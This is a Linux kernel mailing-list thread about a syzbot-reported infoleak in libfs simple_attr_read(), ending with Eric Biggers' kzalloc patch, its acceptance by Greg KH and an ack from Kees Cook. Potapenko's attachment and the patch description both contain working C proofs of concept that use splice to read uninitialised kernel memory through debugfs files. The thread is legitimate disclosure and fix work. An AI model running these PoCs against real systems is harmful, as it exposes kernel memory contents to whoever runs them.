* KMSAN: uninit-value in simple_attr_read @ 2020-02-27 9:29 syzbot 2020-02-27 11:57 ` Alexander Potapenko 0 siblings, 1 reply; 9+ messages in thread From: syzbot @ 2020-02-27 9:29 UTC (permalink / raw) To: glider, linux-fsdevel, linux-kernel, syzkaller-bugs, viro Hello, syzbot found the following crash on: HEAD commit: 8bbbc5cf kmsan: don't compile memmove git tree: https://github.com/google/kmsan.git master console output: https://syzkaller.appspot.com/x/log.txt?x=14394265e00000 kernel config: https://syzkaller.appspot.com/x/.config?x=cd0e9a6b0e555cc3 dashboard link: https://syzkaller.appspot.com/bug?extid=fcab69d1ada3e8d6f06b compiler: clang version 10.0.0 (https://github.com/llvm/llvm-project/ c2443155a0fb245c8f17f2c1c72b6ea391e86e81) syz repro: https://syzkaller.appspot.com/x/repro.syz?x=1338127ee00000 C reproducer: https://syzkaller.appspot.com/x/repro.c?x=161403ede00000 IMPORTANT: if you fix the bug, please add the following tag to the commit: Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com ===================================================== BUG: KMSAN: uninit-value in strlen+0x5e/0xa0 lib/string.c:552 CPU: 1 PID: 11402 Comm: syz-executor230 Not tainted 5.6.0-rc2-syzkaller #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011 Call Trace: __dump_stack lib/dump_stack.c:77 [inline] dump_stack+0x1c9/0x220 lib/dump_stack.c:118 kmsan_report+0xf7/0x1e0 mm/kmsan/kmsan_report.c:118 __msan_warning+0x58/0xa0 mm/kmsan/kmsan_instr.c:215 strlen+0x5e/0xa0 lib/string.c:552 simple_attr_read+0x1ec/0x740 fs/libfs.c:935 debugfs_attr_read+0x13e/0x290 fs/debugfs/file.c:360 __vfs_read+0x1a9/0xc80 fs/read_write.c:425 vfs_read+0x346/0x6a0 fs/read_write.c:461 ksys_read+0x267/0x450 fs/read_write.c:587 __do_sys_read fs/read_write.c:597 [inline] __se_sys_read+0x92/0xb0 fs/read_write.c:595 __x64_sys_read+0x4a/0x70 fs/read_write.c:595 do_syscall_64+0xb8/0x160 arch/x86/entry/common.c:296 entry_SYSCALL_64_after_hwframe+0x44/0xa9 RIP: 0033:0x440269 Code: 18 89 d0 c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 0f 83 fb 13 fc ff c3 66 2e 0f 1f 84 00 00 00 00 RSP: 002b:00007fff09d3bc68 EFLAGS: 00000246 ORIG_RAX: 0000000000000000 RAX: ffffffffffffffda RBX: 00000000004002c8 RCX: 0000000000440269 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000004 RBP: 00000000006ca018 R08: 000000000000000a R09: 000000000000000a R10: 0000000000010001 R11: 0000000000000246 R12: 0000000000401af0 R13: 0000000000401b80 R14: 0000000000000000 R15: 0000000000000000 Uninit was created at: kmsan_save_stack_with_flags mm/kmsan/kmsan.c:144 [inline] kmsan_internal_poison_shadow+0x66/0xd0 mm/kmsan/kmsan.c:127 kmsan_slab_alloc+0x8a/0xe0 mm/kmsan/kmsan_hooks.c:82 slab_alloc_node mm/slub.c:2793 [inline] slab_alloc mm/slub.c:2802 [inline] kmem_cache_alloc_trace+0x6f3/0xd70 mm/slub.c:2819 kmalloc include/linux/slab.h:555 [inline] simple_attr_open+0xd4/0x400 fs/libfs.c:894 lowpan_enable_fops_open+0x94/0xb0 net/bluetooth/6lowpan.c:1105 open_proxy_open+0x657/0x800 fs/debugfs/file.c:189 do_dentry_open+0xf89/0x1820 fs/open.c:797 vfs_open+0xaf/0xe0 fs/open.c:914 do_last fs/namei.c:3490 [inline] path_openat+0x4d57/0x6bd0 fs/namei.c:3607 do_filp_open+0x2b8/0x710 fs/namei.c:3637 do_sys_openat2+0x92e/0xd40 fs/open.c:1149 do_sys_open fs/open.c:1165 [inline] __do_sys_openat fs/open.c:1179 [inline] __se_sys_openat+0x24a/0x2b0 fs/open.c:1174 __x64_sys_openat+0x56/0x70 fs/open.c:1174 do_syscall_64+0xb8/0x160 arch/x86/entry/common.c:296 entry_SYSCALL_64_after_hwframe+0x44/0xa9 ===================================================== --- This bug is generated by a bot. It may contain errors. See https://goo.gl/tpsmEJ for more information about syzbot. syzbot engineers can be reached at syzkaller@googlegroups.com. syzbot will keep track of this bug report. See: https://goo.gl/tpsmEJ#status for how to communicate with syzbot. syzbot can test patches for this bug, for details see: https://goo.gl/tpsmEJ#testing-patches ^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: KMSAN: uninit-value in simple_attr_read 2020-02-27 9:29 KMSAN: uninit-value in simple_attr_read syzbot @ 2020-02-27 11:57 ` Alexander Potapenko 2020-03-04 14:36 ` Alexander Potapenko 0 siblings, 1 reply; 9+ messages in thread From: Alexander Potapenko @ 2020-02-27 11:57 UTC (permalink / raw) To: syzbot, Greg Kroah-Hartman, Rafael J. Wysocki Cc: linux-fsdevel, LKML, syzkaller-bugs, Al Viro On Thu, Feb 27, 2020 at 10:29 AM syzbot <syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com> wrote: > > Hello, > > syzbot found the following crash on: > > HEAD commit: 8bbbc5cf kmsan: don't compile memmove > git tree: https://github.com/google/kmsan.git master > console output: https://syzkaller.appspot.com/x/log.txt?x=14394265e00000 > kernel config: https://syzkaller.appspot.com/x/.config?x=cd0e9a6b0e555cc3 > dashboard link: https://syzkaller.appspot.com/bug?extid=fcab69d1ada3e8d6f06b > compiler: clang version 10.0.0 (https://github.com/llvm/llvm-project/ c2443155a0fb245c8f17f2c1c72b6ea391e86e81) > syz repro: https://syzkaller.appspot.com/x/repro.syz?x=1338127ee00000 > C reproducer: https://syzkaller.appspot.com/x/repro.c?x=161403ede00000 > > IMPORTANT: if you fix the bug, please add the following tag to the commit: > Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com This report says it's uninit in strlen, but there's actually an information leak later on that lets the user read arbitrary data past the non-terminated attr->get_buf. ^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: KMSAN: uninit-value in simple_attr_read 2020-02-27 11:57 ` Alexander Potapenko @ 2020-03-04 14:36 ` Alexander Potapenko 2020-03-08 2:38 ` [PATCH] libfs: fix infoleak in simple_attr_read() Eric Biggers 0 siblings, 1 reply; 9+ messages in thread From: Alexander Potapenko @ 2020-03-04 14:36 UTC (permalink / raw) To: syzbot, Greg Kroah-Hartman, Rafael J. Wysocki, Arnd Bergmann Cc: linux-fsdevel, LKML, syzkaller-bugs, Al Viro [-- Attachment #1: Type: text/plain, Size: 406 bytes --] Hi Greg, Rafael, Arnd, > This report says it's uninit in strlen, but there's actually an > information leak later on that lets the user read arbitrary data past > the non-terminated attr->get_buf. The attached PoC demonstrates the problem. I am not sure how bad is that, given that /sys/kernel/debug is usually accessible only to the root, and simple attribute files don't seem to be used anywhere else. [-- Attachment #2: simple_attr_read-leak.c --] [-- Type: text/x-csrc, Size: 741 bytes --] #define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> #define BUF_SIZE 128 int main(int argc, char *argv[]) { char buf[BUF_SIZE]; const char def_filename[] = "/sys/kernel/debug/bluetooth/6lowpan_enable"; char *filename = (char *)def_filename; int pipefd[2], dfs_fd; struct iovec iov; if (argc > 1) filename = argv[1]; pipe(pipefd); iov.iov_base = mmap(NULL, 0x1000, 3, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); iov.iov_len = 0x1; vmsplice(pipefd[1], &iov, 1, 1); dfs_fd = open(filename, O_RDWR); splice(pipefd[0], 0, dfs_fd, 0, 0x1, SPLICE_F_NONBLOCK); memset(buf, 0, BUF_SIZE); read(dfs_fd, buf, BUF_SIZE); printf("'%s'\n", buf); return 0; } ^ permalink raw reply [flat|nested] 9+ messages in thread
* [PATCH] libfs: fix infoleak in simple_attr_read() 2020-03-04 14:36 ` Alexander Potapenko @ 2020-03-08 2:38 ` Eric Biggers 2020-03-13 16:45 ` Eric Biggers 2020-03-22 16:57 ` Kees Cook 0 siblings, 2 replies; 9+ messages in thread From: Eric Biggers @ 2020-03-08 2:38 UTC (permalink / raw) To: linux-fsdevel, viro Cc: glider, arnd, gregkh, linux-kernel, rafael, syzbot+fcab69d1ada3e8d6f06b, syzkaller-bugs From: Eric Biggers <ebiggers@google.com> Reading from a debugfs file at a nonzero position, without first reading at position 0, leaks uninitialized memory to userspace. It's a bit tricky to do this, since lseek() and pread() aren't allowed on these files, and write() doesn't update the position on them. But writing to them with splice() *does* update the position: #define _GNU_SOURCE 1 #include <fcntl.h> #include <stdio.h> #include <unistd.h> int main() { int pipes[2], fd, n, i; char buf[32]; pipe(pipes); write(pipes[1], "0", 1); fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR); splice(pipes[0], NULL, fd, NULL, 1, 0); n = read(fd, buf, sizeof(buf)); for (i = 0; i < n; i++) printf("%02x", buf[i]); printf("\n"); } Output: 5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30 Fix the infoleak by making simple_attr_read() always fill simple_attr::get_buf if it hasn't been filled yet. Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com Reported-by: Alexander Potapenko <glider@google.com> Fixes: acaefc25d21f ("[PATCH] libfs: add simple attribute files") Cc: stable@vger.kernel.org Signed-off-by: Eric Biggers <ebiggers@google.com> --- fs/libfs.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/fs/libfs.c b/fs/libfs.c index c686bd9caac6..3759fbacf522 100644 --- a/fs/libfs.c +++ b/fs/libfs.c @@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file, { struct simple_attr *attr; - attr = kmalloc(sizeof(*attr), GFP_KERNEL); + attr = kzalloc(sizeof(*attr), GFP_KERNEL); if (!attr) return -ENOMEM; @@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf, if (ret) return ret; - if (*ppos) { /* continued read */ + if (*ppos && attr->get_buf[0]) { + /* continued read */ size = strlen(attr->get_buf); - } else { /* first read */ + } else { + /* first read */ u64 val; ret = attr->get(attr->data, &val); if (ret) -- 2.25.1 ^ permalink raw reply related [flat|nested] 9+ messages in thread
* Re: [PATCH] libfs: fix infoleak in simple_attr_read() 2020-03-08 2:38 ` [PATCH] libfs: fix infoleak in simple_attr_read() Eric Biggers @ 2020-03-13 16:45 ` Eric Biggers 2020-03-18 16:39 ` Eric Biggers 2020-03-22 16:57 ` Kees Cook 1 sibling, 1 reply; 9+ messages in thread From: Eric Biggers @ 2020-03-13 16:45 UTC (permalink / raw) To: linux-fsdevel, viro Cc: glider, arnd, gregkh, linux-kernel, rafael, syzbot+fcab69d1ada3e8d6f06b, syzkaller-bugs On Sat, Mar 07, 2020 at 06:38:49PM -0800, Eric Biggers wrote: > From: Eric Biggers <ebiggers@google.com> > > Reading from a debugfs file at a nonzero position, without first reading > at position 0, leaks uninitialized memory to userspace. > > It's a bit tricky to do this, since lseek() and pread() aren't allowed > on these files, and write() doesn't update the position on them. But > writing to them with splice() *does* update the position: > > #define _GNU_SOURCE 1 > #include <fcntl.h> > #include <stdio.h> > #include <unistd.h> > int main() > { > int pipes[2], fd, n, i; > char buf[32]; > > pipe(pipes); > write(pipes[1], "0", 1); > fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR); > splice(pipes[0], NULL, fd, NULL, 1, 0); > n = read(fd, buf, sizeof(buf)); > for (i = 0; i < n; i++) > printf("%02x", buf[i]); > printf("\n"); > } > > Output: > 5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30 > > Fix the infoleak by making simple_attr_read() always fill > simple_attr::get_buf if it hasn't been filled yet. > > Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com > Reported-by: Alexander Potapenko <glider@google.com> > Fixes: acaefc25d21f ("[PATCH] libfs: add simple attribute files") > Cc: stable@vger.kernel.org > Signed-off-by: Eric Biggers <ebiggers@google.com> > --- > fs/libfs.c | 8 +++++--- > 1 file changed, 5 insertions(+), 3 deletions(-) > > diff --git a/fs/libfs.c b/fs/libfs.c > index c686bd9caac6..3759fbacf522 100644 > --- a/fs/libfs.c > +++ b/fs/libfs.c > @@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file, > { > struct simple_attr *attr; > > - attr = kmalloc(sizeof(*attr), GFP_KERNEL); > + attr = kzalloc(sizeof(*attr), GFP_KERNEL); > if (!attr) > return -ENOMEM; > > @@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf, > if (ret) > return ret; > > - if (*ppos) { /* continued read */ > + if (*ppos && attr->get_buf[0]) { > + /* continued read */ > size = strlen(attr->get_buf); > - } else { /* first read */ > + } else { > + /* first read */ > u64 val; > ret = attr->get(attr->data, &val); > if (ret) > -- > 2.25.1 Any comments on this? Al, seems this is something you should pick up? - Eric ^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH] libfs: fix infoleak in simple_attr_read() 2020-03-13 16:45 ` Eric Biggers @ 2020-03-18 16:39 ` Eric Biggers 2020-03-22 3:56 ` Eric Biggers 0 siblings, 1 reply; 9+ messages in thread From: Eric Biggers @ 2020-03-18 16:39 UTC (permalink / raw) To: linux-fsdevel, viro Cc: glider, arnd, gregkh, linux-kernel, rafael, syzbot+fcab69d1ada3e8d6f06b, syzkaller-bugs On Fri, Mar 13, 2020 at 09:45:11AM -0700, Eric Biggers wrote: > On Sat, Mar 07, 2020 at 06:38:49PM -0800, Eric Biggers wrote: > > From: Eric Biggers <ebiggers@google.com> > > > > Reading from a debugfs file at a nonzero position, without first reading > > at position 0, leaks uninitialized memory to userspace. > > > > It's a bit tricky to do this, since lseek() and pread() aren't allowed > > on these files, and write() doesn't update the position on them. But > > writing to them with splice() *does* update the position: > > > > #define _GNU_SOURCE 1 > > #include <fcntl.h> > > #include <stdio.h> > > #include <unistd.h> > > int main() > > { > > int pipes[2], fd, n, i; > > char buf[32]; > > > > pipe(pipes); > > write(pipes[1], "0", 1); > > fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR); > > splice(pipes[0], NULL, fd, NULL, 1, 0); > > n = read(fd, buf, sizeof(buf)); > > for (i = 0; i < n; i++) > > printf("%02x", buf[i]); > > printf("\n"); > > } > > > > Output: > > 5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30 > > > > Fix the infoleak by making simple_attr_read() always fill > > simple_attr::get_buf if it hasn't been filled yet. > > > > Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com > > Reported-by: Alexander Potapenko <glider@google.com> > > Fixes: acaefc25d21f ("[PATCH] libfs: add simple attribute files") > > Cc: stable@vger.kernel.org > > Signed-off-by: Eric Biggers <ebiggers@google.com> > > --- > > fs/libfs.c | 8 +++++--- > > 1 file changed, 5 insertions(+), 3 deletions(-) > > > > diff --git a/fs/libfs.c b/fs/libfs.c > > index c686bd9caac6..3759fbacf522 100644 > > --- a/fs/libfs.c > > +++ b/fs/libfs.c > > @@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file, > > { > > struct simple_attr *attr; > > > > - attr = kmalloc(sizeof(*attr), GFP_KERNEL); > > + attr = kzalloc(sizeof(*attr), GFP_KERNEL); > > if (!attr) > > return -ENOMEM; > > > > @@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf, > > if (ret) > > return ret; > > > > - if (*ppos) { /* continued read */ > > + if (*ppos && attr->get_buf[0]) { > > + /* continued read */ > > size = strlen(attr->get_buf); > > - } else { /* first read */ > > + } else { > > + /* first read */ > > u64 val; > > ret = attr->get(attr->data, &val); > > if (ret) > > -- > > 2.25.1 > > Any comments on this? Al, seems this is something you should pick up? > > - Eric Ping. ^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH] libfs: fix infoleak in simple_attr_read() 2020-03-18 16:39 ` Eric Biggers @ 2020-03-22 3:56 ` Eric Biggers 2020-03-24 12:13 ` Greg KH 0 siblings, 1 reply; 9+ messages in thread From: Eric Biggers @ 2020-03-22 3:56 UTC (permalink / raw) To: Andrew Morton Cc: linux-fsdevel, viro, glider, arnd, gregkh, linux-kernel, rafael, syzbot+fcab69d1ada3e8d6f06b, syzkaller-bugs On Wed, Mar 18, 2020 at 09:39:40AM -0700, Eric Biggers wrote: > On Fri, Mar 13, 2020 at 09:45:11AM -0700, Eric Biggers wrote: > > On Sat, Mar 07, 2020 at 06:38:49PM -0800, Eric Biggers wrote: > > > From: Eric Biggers <ebiggers@google.com> > > > > > > Reading from a debugfs file at a nonzero position, without first reading > > > at position 0, leaks uninitialized memory to userspace. > > > > > > It's a bit tricky to do this, since lseek() and pread() aren't allowed > > > on these files, and write() doesn't update the position on them. But > > > writing to them with splice() *does* update the position: > > > > > > #define _GNU_SOURCE 1 > > > #include <fcntl.h> > > > #include <stdio.h> > > > #include <unistd.h> > > > int main() > > > { > > > int pipes[2], fd, n, i; > > > char buf[32]; > > > > > > pipe(pipes); > > > write(pipes[1], "0", 1); > > > fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR); > > > splice(pipes[0], NULL, fd, NULL, 1, 0); > > > n = read(fd, buf, sizeof(buf)); > > > for (i = 0; i < n; i++) > > > printf("%02x", buf[i]); > > > printf("\n"); > > > } > > > > > > Output: > > > 5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30 > > > > > > Fix the infoleak by making simple_attr_read() always fill > > > simple_attr::get_buf if it hasn't been filled yet. > > > > > > Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com > > > Reported-by: Alexander Potapenko <glider@google.com> > > > Fixes: acaefc25d21f ("[PATCH] libfs: add simple attribute files") > > > Cc: stable@vger.kernel.org > > > Signed-off-by: Eric Biggers <ebiggers@google.com> > > > --- > > > fs/libfs.c | 8 +++++--- > > > 1 file changed, 5 insertions(+), 3 deletions(-) > > > > > > diff --git a/fs/libfs.c b/fs/libfs.c > > > index c686bd9caac6..3759fbacf522 100644 > > > --- a/fs/libfs.c > > > +++ b/fs/libfs.c > > > @@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file, > > > { > > > struct simple_attr *attr; > > > > > > - attr = kmalloc(sizeof(*attr), GFP_KERNEL); > > > + attr = kzalloc(sizeof(*attr), GFP_KERNEL); > > > if (!attr) > > > return -ENOMEM; > > > > > > @@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf, > > > if (ret) > > > return ret; > > > > > > - if (*ppos) { /* continued read */ > > > + if (*ppos && attr->get_buf[0]) { > > > + /* continued read */ > > > size = strlen(attr->get_buf); > > > - } else { /* first read */ > > > + } else { > > > + /* first read */ > > > u64 val; > > > ret = attr->get(attr->data, &val); > > > if (ret) > > > -- > > > 2.25.1 > > > > Any comments on this? Al, seems this is something you should pick up? > > > > - Eric > > Ping. > Andrew, can you consider taking this patch? Al has been ignoring it, and this seems like a fairly important fix. This bug affects many (most?) debugfs files, and it affects years old kernels too not just recent ones. Thanks, - Eric ^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH] libfs: fix infoleak in simple_attr_read() 2020-03-22 3:56 ` Eric Biggers @ 2020-03-24 12:13 ` Greg KH 0 siblings, 0 replies; 9+ messages in thread From: Greg KH @ 2020-03-24 12:13 UTC (permalink / raw) To: Eric Biggers Cc: Andrew Morton, linux-fsdevel, viro, glider, arnd, linux-kernel, rafael, syzbot+fcab69d1ada3e8d6f06b, syzkaller-bugs On Sat, Mar 21, 2020 at 08:56:20PM -0700, Eric Biggers wrote: > On Wed, Mar 18, 2020 at 09:39:40AM -0700, Eric Biggers wrote: > > On Fri, Mar 13, 2020 at 09:45:11AM -0700, Eric Biggers wrote: > > > On Sat, Mar 07, 2020 at 06:38:49PM -0800, Eric Biggers wrote: > > > > From: Eric Biggers <ebiggers@google.com> > > > > > > > > Reading from a debugfs file at a nonzero position, without first reading > > > > at position 0, leaks uninitialized memory to userspace. > > > > > > > > It's a bit tricky to do this, since lseek() and pread() aren't allowed > > > > on these files, and write() doesn't update the position on them. But > > > > writing to them with splice() *does* update the position: > > > > > > > > #define _GNU_SOURCE 1 > > > > #include <fcntl.h> > > > > #include <stdio.h> > > > > #include <unistd.h> > > > > int main() > > > > { > > > > int pipes[2], fd, n, i; > > > > char buf[32]; > > > > > > > > pipe(pipes); > > > > write(pipes[1], "0", 1); > > > > fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR); > > > > splice(pipes[0], NULL, fd, NULL, 1, 0); > > > > n = read(fd, buf, sizeof(buf)); > > > > for (i = 0; i < n; i++) > > > > printf("%02x", buf[i]); > > > > printf("\n"); > > > > } > > > > > > > > Output: > > > > 5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30 > > > > > > > > Fix the infoleak by making simple_attr_read() always fill > > > > simple_attr::get_buf if it hasn't been filled yet. > > > > > > > > Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com > > > > Reported-by: Alexander Potapenko <glider@google.com> > > > > Fixes: acaefc25d21f ("[PATCH] libfs: add simple attribute files") > > > > Cc: stable@vger.kernel.org > > > > Signed-off-by: Eric Biggers <ebiggers@google.com> > > > > --- > > > > fs/libfs.c | 8 +++++--- > > > > 1 file changed, 5 insertions(+), 3 deletions(-) > > > > > > > > diff --git a/fs/libfs.c b/fs/libfs.c > > > > index c686bd9caac6..3759fbacf522 100644 > > > > --- a/fs/libfs.c > > > > +++ b/fs/libfs.c > > > > @@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file, > > > > { > > > > struct simple_attr *attr; > > > > > > > > - attr = kmalloc(sizeof(*attr), GFP_KERNEL); > > > > + attr = kzalloc(sizeof(*attr), GFP_KERNEL); > > > > if (!attr) > > > > return -ENOMEM; > > > > > > > > @@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf, > > > > if (ret) > > > > return ret; > > > > > > > > - if (*ppos) { /* continued read */ > > > > + if (*ppos && attr->get_buf[0]) { > > > > + /* continued read */ > > > > size = strlen(attr->get_buf); > > > > - } else { /* first read */ > > > > + } else { > > > > + /* first read */ > > > > u64 val; > > > > ret = attr->get(attr->data, &val); > > > > if (ret) > > > > -- > > > > 2.25.1 > > > > > > Any comments on this? Al, seems this is something you should pick up? > > > > > > - Eric > > > > Ping. > > > > Andrew, can you consider taking this patch? Al has been ignoring it, and this > seems like a fairly important fix. This bug affects many (most?) debugfs files, > and it affects years old kernels too not just recent ones. As it affects debugfs files, I'll grab it now, thanks. greg k-h ^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH] libfs: fix infoleak in simple_attr_read() 2020-03-08 2:38 ` [PATCH] libfs: fix infoleak in simple_attr_read() Eric Biggers 2020-03-13 16:45 ` Eric Biggers @ 2020-03-22 16:57 ` Kees Cook 1 sibling, 0 replies; 9+ messages in thread From: Kees Cook @ 2020-03-22 16:57 UTC (permalink / raw) To: Eric Biggers Cc: linux-fsdevel, viro, glider, arnd, gregkh, linux-kernel, rafael, syzbot+fcab69d1ada3e8d6f06b, syzkaller-bugs On Sat, Mar 07, 2020 at 06:38:49PM -0800, Eric Biggers wrote: > From: Eric Biggers <ebiggers@google.com> > > Reading from a debugfs file at a nonzero position, without first reading > at position 0, leaks uninitialized memory to userspace. > > It's a bit tricky to do this, since lseek() and pread() aren't allowed > on these files, and write() doesn't update the position on them. But > writing to them with splice() *does* update the position: > > #define _GNU_SOURCE 1 > #include <fcntl.h> > #include <stdio.h> > #include <unistd.h> > int main() > { > int pipes[2], fd, n, i; > char buf[32]; > > pipe(pipes); > write(pipes[1], "0", 1); > fd = open("/sys/kernel/debug/fault_around_bytes", O_RDWR); > splice(pipes[0], NULL, fd, NULL, 1, 0); > n = read(fd, buf, sizeof(buf)); > for (i = 0; i < n; i++) > printf("%02x", buf[i]); > printf("\n"); > } > > Output: > 5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a30 > > Fix the infoleak by making simple_attr_read() always fill > simple_attr::get_buf if it hasn't been filled yet. > > Reported-by: syzbot+fcab69d1ada3e8d6f06b@syzkaller.appspotmail.com > Reported-by: Alexander Potapenko <glider@google.com> > Fixes: acaefc25d21f ("[PATCH] libfs: add simple attribute files") > Cc: stable@vger.kernel.org > Signed-off-by: Eric Biggers <ebiggers@google.com> Yikes, that's an important fix! Acked-by: Kees Cook <keescook@chromium.org> Luckily (as Alexander mentioned too), most distros make debugfs non-accessible by non-root (I hope): $ ls -lda /sys/kernel/debug drwx------ 39 root root 0 Jan 8 09:10 /sys/kernel/debug/ That function is also exposed via DEFINE_SIMPLE_ATTRIBUTE(), but those users appear to also be mostly (all?) debugfs too. And, just to note, for v5.3 and later, this would be fully mitigated by booting with "init_on_alloc=1". -Kees > --- > fs/libfs.c | 8 +++++--- > 1 file changed, 5 insertions(+), 3 deletions(-) > > diff --git a/fs/libfs.c b/fs/libfs.c > index c686bd9caac6..3759fbacf522 100644 > --- a/fs/libfs.c > +++ b/fs/libfs.c > @@ -891,7 +891,7 @@ int simple_attr_open(struct inode *inode, struct file *file, > { > struct simple_attr *attr; > > - attr = kmalloc(sizeof(*attr), GFP_KERNEL); > + attr = kzalloc(sizeof(*attr), GFP_KERNEL); > if (!attr) > return -ENOMEM; > > @@ -931,9 +931,11 @@ ssize_t simple_attr_read(struct file *file, char __user *buf, > if (ret) > return ret; > > - if (*ppos) { /* continued read */ > + if (*ppos && attr->get_buf[0]) { > + /* continued read */ > size = strlen(attr->get_buf); > - } else { /* first read */ > + } else { > + /* first read */ > u64 val; > ret = attr->get(attr->data, &val); > if (ret) > -- > 2.25.1 > -- Kees Cook ^ permalink raw reply [flat|nested] 9+ messages in thread
end of thread, other threads:[~2020-03-24 12:13 UTC | newest] Thread overview: 9+ messages (download: mbox.gz / follow: Atom feed) -- links below jump to the message on this page -- 2020-02-27 9:29 KMSAN: uninit-value in simple_attr_read syzbot 2020-02-27 11:57 ` Alexander Potapenko 2020-03-04 14:36 ` Alexander Potapenko 2020-03-08 2:38 ` [PATCH] libfs: fix infoleak in simple_attr_read() Eric Biggers 2020-03-13 16:45 ` Eric Biggers 2020-03-18 16:39 ` Eric Biggers 2020-03-22 3:56 ` Eric Biggers 2020-03-24 12:13 ` Greg KH 2020-03-22 16:57 ` Kees Cook
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox; as well as URLs for NNTP newsgroup(s).